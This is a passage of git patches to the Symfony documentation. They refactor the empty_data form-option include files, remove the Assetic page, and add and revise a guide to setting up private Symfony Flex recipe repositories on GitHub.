+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -102,8 +101,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/help.rst.inc
 
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index af9dc14be31..2207b0b552f 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -81,8 +81,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -90,8 +89,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/help.rst.inc
 
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index 6cc6e276517..33eab43118c 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -89,13 +89,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index c1459d4d3a6..47024735ae6 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -78,13 +78,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/options/empty_data_declaration.rst.inc b/reference/forms/types/options/empty_data_declaration.rst.inc
new file mode 100644
index 00000000000..4db2aa6723e
--- /dev/null
+++ b/reference/forms/types/options/empty_data_declaration.rst.inc
@@ -0,0 +1,4 @@
+``empty_data``
+~~~~~~~~~~~~~~
+
+**type**: ``mixed``
diff --git a/reference/forms/types/options/empty_data.rst.inc b/reference/forms/types/options/empty_data_description.rst.inc
similarity index 84%
rename from reference/forms/types/options/empty_data.rst.inc
rename to reference/forms/types/options/empty_data_description.rst.inc
index 5e0a23a70b9..90e111fb202 100644
--- a/reference/forms/types/options/empty_data.rst.inc
+++ b/reference/forms/types/options/empty_data_description.rst.inc
@@ -1,14 +1,3 @@
-``empty_data``
-~~~~~~~~~~~~~~
-
-**type**: ``mixed``
-
-.. This file should only be included with start-after or end-before that's
-   set to this placeholder value. Its purpose is to let us include only
-   part of this file.
-
-DEFAULT_PLACEHOLDER
-
 This option determines what value the field will *return* when the submitted
 value is empty (or missing). It does not set an initial value if none is
 provided when the form is rendered in a view.
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 9fc067c03c9..2d02f7f6052 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -53,13 +53,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index 549403bc89f..aa5b1c82dd4 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -83,13 +83,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst
index c13f7730bb6..61775326098 100644
--- a/reference/forms/types/range.rst
+++ b/reference/forms/types/range.rst
@@ -43,13 +43,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst
index 586628559de..7e1ac05de0c 100644
--- a/reference/forms/types/search.rst
+++ b/reference/forms/types/search.rst
@@ -28,13 +28,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/tel.rst b/reference/forms/types/tel.rst
index f2f79adfe5a..58927fed014 100644
--- a/reference/forms/types/tel.rst
+++ b/reference/forms/types/tel.rst
@@ -34,13 +34,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/text.rst b/reference/forms/types/text.rst
index c7002a79a08..204c496ce85 100644
--- a/reference/forms/types/text.rst
+++ b/reference/forms/types/text.rst
@@ -27,15 +27,13 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 From an HTTP perspective, submitted data is always a string or an array of strings.
 So by default, the form will treat any empty string as null. If you prefer to get
 an empty string, explicitly set the ``empty_data`` option to an empty string.
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index a0e1dde7d9a..3e0ac8e0db9 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -33,13 +33,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 4eab5421e57..5641ad921f0 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -117,8 +117,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -126,8 +125,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index a4cc411f1e0..1a0fa2eb615 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -41,13 +41,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/week.rst b/reference/forms/types/week.rst
index adbae2e904c..1ab3e284d08 100644
--- a/reference/forms/types/week.rst
+++ b/reference/forms/types/week.rst
@@ -102,16 +102,14 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
 * If ``widget`` is ``single_text``, then ``''`` (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 error_bubbling
 ~~~~~~~~~~~~~~

From 3f9ff65206a47eed4e2aaecd043067ef5b31d56a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Nov 2021 13:39:30 +0100
Subject: [PATCH 2714/7107] Remove conditional includes on other files

---
 reference/forms/types/ulid.rst | 6 ++----
 reference/forms/types/uuid.rst | 6 ++----
 2 files changed, 4 insertions(+), 8 deletions(-)

diff --git a/reference/forms/types/ulid.rst b/reference/forms/types/ulid.rst
index 7dba8164b19..90d2f33589b 100644
--- a/reference/forms/types/ulid.rst
+++ b/reference/forms/types/ulid.rst
@@ -43,13 +43,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/uuid.rst b/reference/forms/types/uuid.rst
index 0fe52f16330..c5d0827558e 100644
--- a/reference/forms/types/uuid.rst
+++ b/reference/forms/types/uuid.rst
@@ -43,13 +43,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 

From a6f452cec9c4dd9f66f09c674e1fb35c0cb59273 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Nov 2021 15:14:15 +0100
Subject: [PATCH 2715/7107] [Frontend] Reword the introduction to be more
 precise

---
 frontend/encore/installation.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index 4985ec4d3f3..08ba52a342b 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -1,7 +1,10 @@
 Installing Encore
 =================
 
-First, make sure you `install Node.js`_ and also the `Yarn package manager`_.
+First, make sure you `install Node.js`_. Optionally you can also install the
+`Yarn package manager`_. In the next sections you will always see the commands
+for both ``npm`` and ``yarn``, but you only need to run one of them.
+
 The following instructions depend on whether you are installing Encore in a
 Symfony application or not.
 

From 5d033cf57ba5b72e21aae706868eb298a34ffcad Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Nov 2021 15:24:30 +0100
Subject: [PATCH 2716/7107] [Frontend] Remove all Assetic references

---
 _build/redirection_map        | 2 ++
 _build/spelling_word_list.txt | 1 -
 frontend.rst                  | 1 -
 frontend/assetic/index.rst    | 8 --------
 4 files changed, 2 insertions(+), 10 deletions(-)
 delete mode 100644 frontend/assetic/index.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 87a36a5a2b9..b4338e01043 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -534,3 +534,5 @@
 /security/multiple_guard_authenticators /security/entry_point
 /security/guard_authentication /security/custom_authenticator
 /email /mailer
+/frontend/assetic /frontend
+/frontend/assetic/index /frontend
diff --git a/_build/spelling_word_list.txt b/_build/spelling_word_list.txt
index 3b1d630fa11..ba76529bd7a 100644
--- a/_build/spelling_word_list.txt
+++ b/_build/spelling_word_list.txt
@@ -3,7 +3,6 @@ Akamai
 analytics
 Ansi
 Ansible
-Assetic
 async
 authenticator
 authenticators
diff --git a/frontend.rst b/frontend.rst
index b95f0aa216e..d4eff6cc357 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -92,7 +92,6 @@ Other Front-End Articles
     :hidden:
     :glob:
 
-    frontend/assetic/index
     frontend/encore/installation
     frontend/encore/simple-example
     frontend/encore/*
diff --git a/frontend/assetic/index.rst b/frontend/assetic/index.rst
deleted file mode 100644
index 63955c9f8dd..00000000000
--- a/frontend/assetic/index.rst
+++ /dev/null
@@ -1,8 +0,0 @@
-Assetic
-=======
-
-.. caution::
-
-    Using Assetic to manage web assets in Symfony applications is no longer
-    recommended. Instead, use :doc:`Webpack Encore </frontend>`, which bridges
-    Symfony applications with modern JavaScript-based tools to manage web assets.

From 7fe3923fd40018887385e660e6a5d31f0796181f Mon Sep 17 00:00:00 2001
From: gnito-org <github@gnito.org>
Date: Tue, 5 Oct 2021 06:20:25 -0300
Subject: [PATCH 2717/7107] [Flex] Add instructions for use of private recipe
 repositories

---
 setup/flex.rst                 |   7 +-
 setup/flex_private_recipes.rst | 226 +++++++++++++++++++++++++++++++++
 2 files changed, 232 insertions(+), 1 deletion(-)
 create mode 100644 setup/flex_private_recipes.rst

diff --git a/setup/flex.rst b/setup/flex.rst
index 899bb6d3de5..fab6269f377 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -133,7 +133,7 @@ manual steps:
 
 #. Move the public assets, such as images or compiled CSS/JS files, from
    ``src/AppBundle/Resources/public/`` to ``public/`` (e.g. ``public/images/``).
-   
+
 #. Remove ``src/AppBundle/``.
 
 #. Move the source of the assets (e.g. the SCSS files) to ``assets/`` and use
@@ -189,6 +189,11 @@ If you customize these paths, some files copied from a recipe still may contain
 references to the original path. In other words: you may need to update some things
 manually after a recipe is installed.
 
+Learn more
+----------
+
+* :doc:`/setup/flex_private_recipes`
+
 .. _`default services.yaml file`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/4.4/config/services.yaml
 .. _`shown in this example`: https://github.com/symfony/skeleton/blob/8e33fe617629f283a12bbe0a6578bd6e6af417af/composer.json#L24-L33
 .. _`shown in this example of the skeleton-project`: https://github.com/symfony/skeleton/blob/8e33fe617629f283a12bbe0a6578bd6e6af417af/composer.json#L44-L46
diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst
new file mode 100644
index 00000000000..28d158e275a
--- /dev/null
+++ b/setup/flex_private_recipes.rst
@@ -0,0 +1,226 @@
+How To Configure and Use Flex Private Recipe Repositories
+=========================================================
+
+Since the `release of version 1.16`_ of ``symfony/flex``, you can build your own private
+flex recipe repositories, and seamlessly integrate them into the ``composer`` package
+installation and maintenance process.
+
+This is particularly useful when you have private bundles or packages that must perform their own
+installation tasks, in a similar fashion that Symfony and other open-source bundles and packages handle their
+own installation tasks via ``symfony/flex``.
+
+To do this, in broad strokes, you:
+
+* Create a private GitHub repository;
+* Create your private recipes;
+* Create an index to the recipes;
+* Store your recipes in the private repository;
+* Grant ``composer`` access to the private repository;
+* Configure your project's ``composer.json`` file; and
+* Install the recipes in your project.
+
+Create a Private GitHub Repository
+----------------------------------
+
+Log in to your GitHub.com account, click your account icon in the top-right corner, and select
+**Your Repositories**. Then click the **New** button, fill in the **repository name**, select the
+**Private** radio button, and click the **Create Repository** button.
+
+Create Your Private Recipes
+---------------------------
+
+A ``symfony/flex`` recipe is a standard JSON file that has the following structure:
+
+.. code-block:: json
+
+    {
+        "manifests": {
+            "myorg/package-name": {
+                "manifest": {
+                },
+                "ref": "7405f3af1312d1f9121afed4dddef636c6c7ff00"
+            }
+        }
+    }
+
+If your package is a private Symfony bundle, you will have the following in the recipe:
+
+.. code-block:: json
+
+    {
+        "manifests": {
+            "myorg/private-bundle": {
+                "manifest": {
+                    "bundles": {
+                        "Myorg\\PrivateBundle\\MyorgPrivateBundle": [
+                            "all"
+                        ]
+                    }
+                },
+                "ref": "7405f3af1312d1f9121afed4dddef636c6c7ff00"
+            }
+        }
+    }
+
+Replace ``myorg`` and ``private-bundle`` with your own private bundle details.
+
+The ``"ref"`` entry is just a random 40-character string, which is used by ``composer`` to determine if
+your recipe was modified. Every time that you make changes to your recipe, you also need to
+generate a new ``"ref"`` value.
+
+.. tip::
+
+    Use the following PHP script to generate a random ``"ref"`` value.
+
+    .. code-block::
+
+        $bytes = random_bytes(20);
+        var_dump(bin2hex($bytes));
+
+The ``"all"`` entry tells ``symfony/flex`` to create an entry in your project's ``bundles.php`` file
+for all environments. To load your bundle only for the ``dev`` environment, replace ``"all"`` with ``"dev"``.
+
+The name of your recipe JSON file must conform to the following convention:
+
+    ``myorg.private-bundle.1.0.json``
+
+where ``1.0`` is the version number of your bundle.
+
+Replace ``myorg`` and ``private-bundle`` with your own private bundle or package details.
+
+You will probably also want ``symfony/flex`` to create configuration files for your bundle or package in the
+project's ``/config/packages`` directory. To do that, change the recipe JSON file as follows:
+
+.. code-block:: json
+
+    {
+        "manifests": {
+            "myorg/private-bundle": {
+                "manifest": {
+                    "bundles": {
+                        "Myorg\\PrivateBundle\\MyorgPrivateBundle": [
+                            "all"
+                        ]
+                    },
+                    "copy-from-recipe": {
+                        "config/": "%CONFIG_DIR%"
+                    }
+                },
+                "files": {
+                    "config/packages/myorg_private.yaml": {
+                        "contents": [
+                            "myorg_private:",
+                            "    encode: true",
+                            ""
+                        ],
+                        "executable": false
+                    }
+                },
+                "ref": "7405f3af1312d1f9121afed4dddef636c6c7ff00"
+            }
+        }
+    }
+
+For more examples of what you can include in a recipe file, browse the live `Symfony recipe files`_.
+
+Create an Index to the Recipes
+------------------------------
+
+The next step is to create an ``index.json`` file, which will contain entries for all your
+private recipes, and other general configuration information.
+
+The ``index.json`` file has the following format:
+
+.. code-block:: json
+
+    {
+        "recipes": {
+            "myorg/private-bundle": [
+                "1.0"
+            ]
+        },
+        "branch": "master",
+        "is_contrib": true,
+        "_links": {
+            "repository": "github.com/your-github-account-name/your-recipes-repository",
+            "origin_template": "{package}:{version}@github.com/your-github-account-name/your-recipes-repository:master",
+            "recipe_template": "https://api.github.com/repos/your-github-account-name/your-recipes-repository/contents/{package_dotted}.{version}.json"
+        }
+    }
+
+Create an entry in ``"recipes"`` for each of your bundle recipes.
+
+Replace ``your-github-account-name`` and ``your-recipes-repository`` with your own details.
+
+Store Your Recipes in the Private Repository
+--------------------------------------------
+
+Upload the recipe ``.json`` file(s) and the ``index.json`` file into the root directory of your
+private GitHub repository.
+
+Grant ``composer`` Access to the Private Repository
+-------------------------------------------------
+
+In your GitHub account, click your account icon in the top-right corner, select
+``Settings`` and ``Developer Settings``. Then select ``Personal Access Tokens``.
+
+Generate a new access token with ``Full control of private repositories`` privileges.
+
+Copy the access token value, switch to the terminal of your local computer, and execute
+the following command:
+
+.. code-block:: terminal
+
+    composer config --global --auth github-oauth.github.com [token]
+
+Replace ``[token]`` with the value of your GitHub personal access token.
+
+Configure Your Project's ``composer.json`` File
+---------------------------------------------
+
+Add the following to your project's ``composer.json`` file:
+
+.. code-block:: json
+
+    {
+        "extra": {
+            "symfony": {
+                "endpoint": [
+                    "https://api.github.com/repos/your-github-account-name/your-recipes-repository/contents/index.json",
+                    "flex://defaults"
+                ]
+            }
+        }
+    }
+
+Replace ``your-github-account-name`` and ``your-recipes-repository`` with your own details.
+
+.. tip::
+
+    The ``extra.symfony`` key will most probably already exist in your ``composer.json``. Simply
+    add the ``"endpoint"`` key to the existing ``extra.symfony`` entry.
+
+.. tip::
+
+    The ``endpoint`` URL **must** point to ``https://api.github.com/repos`` and **not* to
+    ``https://www.github.com``. The latter will not work.
+
+Install the Recipes in Your Project
+-----------------------------------
+
+If your private bundles / packages have not yet been installed in your project, run the following command:
+
+.. code-block:: terminal
+
+    composer update
+
+If the private bundles / packages have already been installed and you just want to install the new
+private recipes, run the following command:
+
+.. code-block:: terminal
+
+    composer recipes
+
+.. _`release of version 1.16`: https://github.com/symfony/cli
+.. _`Symfony recipe files`: https://github.com/symfony/recipes/tree/flex/main
+

From 021d9af3da97d1d78bf47b01d74673aa747acd63 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Nov 2021 15:52:44 +0100
Subject: [PATCH 2718/7107] Tweaks

---
 setup/flex_private_recipes.rst | 113 ++++++++++++++++-----------------
 1 file changed, 55 insertions(+), 58 deletions(-)

diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst
index 28d158e275a..30d5fed24c4 100644
--- a/setup/flex_private_recipes.rst
+++ b/setup/flex_private_recipes.rst
@@ -1,15 +1,12 @@
 How To Configure and Use Flex Private Recipe Repositories
 =========================================================
 
-Since the `release of version 1.16`_ of ``symfony/flex``, you can build your own private
-flex recipe repositories, and seamlessly integrate them into the ``composer`` package
-installation and maintenance process.
+Since the `release of version 1.16`_ of ``symfony/flex``, you can build your own
+private Symfony Flex recipe repositories, and seamlessly integrate them into the
+``composer`` package installation and maintenance process.
 
-This is particularly useful when you have private bundles or packages that must perform their own
-installation tasks, in a similar fashion that Symfony and other open-source bundles and packages handle their
-own installation tasks via ``symfony/flex``.
-
-To do this, in broad strokes, you:
+This is particularly useful when you have private bundles or packages that must
+perform their own installation tasks. To do this, you need to complete several steps:
 
 * Create a private GitHub repository;
 * Create your private recipes;
@@ -22,20 +19,21 @@ To do this, in broad strokes, you:
 Create a Private GitHub Repository
 ----------------------------------
 
-Log in to your GitHub.com account, click your account icon in the top-right corner, and select
-**Your Repositories**. Then click the **New** button, fill in the **repository name**, select the
-**Private** radio button, and click the **Create Repository** button.
+Log in to your GitHub.com account, click your account icon in the top-right
+corner, and select **Your Repositories**. Then click the **New** button, fill in
+the **repository name**, select the **Private** radio button, and click the
+**Create Repository** button.
 
 Create Your Private Recipes
 ---------------------------
 
-A ``symfony/flex`` recipe is a standard JSON file that has the following structure:
+A ``symfony/flex`` recipe is a JSON file that has the following structure:
 
 .. code-block:: json
 
     {
         "manifests": {
-            "myorg/package-name": {
+            "acme/package-name": {
                 "manifest": {
                 },
                 "ref": "7405f3af1312d1f9121afed4dddef636c6c7ff00"
@@ -49,10 +47,10 @@ If your package is a private Symfony bundle, you will have the following in the
 
     {
         "manifests": {
-            "myorg/private-bundle": {
+            "acme/private-bundle": {
                 "manifest": {
                     "bundles": {
-                        "Myorg\\PrivateBundle\\MyorgPrivateBundle": [
+                        "Acme\\PrivateBundle\\AcmePrivateBundle": [
                             "all"
                         ]
                     }
@@ -62,11 +60,10 @@ If your package is a private Symfony bundle, you will have the following in the
         }
     }
 
-Replace ``myorg`` and ``private-bundle`` with your own private bundle details.
-
-The ``"ref"`` entry is just a random 40-character string, which is used by ``composer`` to determine if
-your recipe was modified. Every time that you make changes to your recipe, you also need to
-generate a new ``"ref"`` value.
+Replace ``acme`` and ``private-bundle`` with your own private bundle details.
+The ``"ref"`` entry is a random 40-character string used by ``composer`` to
+determine if your recipe was modified. Every time that you make changes to your
+recipe, you also need to generate a new ``"ref"`` value.
 
 .. tip::
 
@@ -74,31 +71,30 @@ generate a new ``"ref"`` value.
 
     .. code-block::
 
-        $bytes = random_bytes(20);
-        var_dump(bin2hex($bytes));
-
-The ``"all"`` entry tells ``symfony/flex`` to create an entry in your project's ``bundles.php`` file
-for all environments. To load your bundle only for the ``dev`` environment, replace ``"all"`` with ``"dev"``.
-
-The name of your recipe JSON file must conform to the following convention:
+        echo bin2hex(random_bytes(20));
 
-    ``myorg.private-bundle.1.0.json``
+The ``"all"`` entry tells ``symfony/flex`` to create an entry in your project's
+``bundles.php`` file for all environments. To load your bundle only for the
+``dev`` environment, replace ``"all"`` with ``"dev"``.
 
-where ``1.0`` is the version number of your bundle.
+The name of your recipe JSON file must conform to the following convention,
+where ``1.0`` is the version number of your bundle (replace ``acme`` and
+``private-bundle`` with your own private bundle or package details):
 
-Replace ``myorg`` and ``private-bundle`` with your own private bundle or package details.
+    ``acme.private-bundle.1.0.json``
 
-You will probably also want ``symfony/flex`` to create configuration files for your bundle or package in the
-project's ``/config/packages`` directory. To do that, change the recipe JSON file as follows:
+You will probably also want ``symfony/flex`` to create configuration files for
+your bundle or package in the project's ``/config/packages`` directory. To do
+that, change the recipe JSON file as follows:
 
 .. code-block:: json
 
     {
         "manifests": {
-            "myorg/private-bundle": {
+            "acme/private-bundle": {
                 "manifest": {
                     "bundles": {
-                        "Myorg\\PrivateBundle\\MyorgPrivateBundle": [
+                        "Acme\\PrivateBundle\\AcmePrivateBundle": [
                             "all"
                         ]
                     },
@@ -107,9 +103,9 @@ project's ``/config/packages`` directory. To do that, change the recipe JSON fil
                     }
                 },
                 "files": {
-                    "config/packages/myorg_private.yaml": {
+                    "config/packages/acme_private.yaml": {
                         "contents": [
-                            "myorg_private:",
+                            "acme_private:",
                             "    encode: true",
                             ""
                         ],
@@ -121,13 +117,14 @@ project's ``/config/packages`` directory. To do that, change the recipe JSON fil
         }
     }
 
-For more examples of what you can include in a recipe file, browse the live `Symfony recipe files`_.
+For more examples of what you can include in a recipe file, browse the
+`Symfony recipe files`_.
 
 Create an Index to the Recipes
 ------------------------------
 
-The next step is to create an ``index.json`` file, which will contain entries for all your
-private recipes, and other general configuration information.
+The next step is to create an ``index.json`` file, which will contain entries
+for all your private recipes, and other general configuration information.
 
 The ``index.json`` file has the following format:
 
@@ -135,7 +132,7 @@ The ``index.json`` file has the following format:
 
     {
         "recipes": {
-            "myorg/private-bundle": [
+            "acme/private-bundle": [
                 "1.0"
             ]
         },
@@ -148,26 +145,24 @@ The ``index.json`` file has the following format:
         }
     }
 
-Create an entry in ``"recipes"`` for each of your bundle recipes.
-
-Replace ``your-github-account-name`` and ``your-recipes-repository`` with your own details.
+Create an entry in ``"recipes"`` for each of your bundle recipes. Replace
+``your-github-account-name`` and ``your-recipes-repository`` with your own details.
 
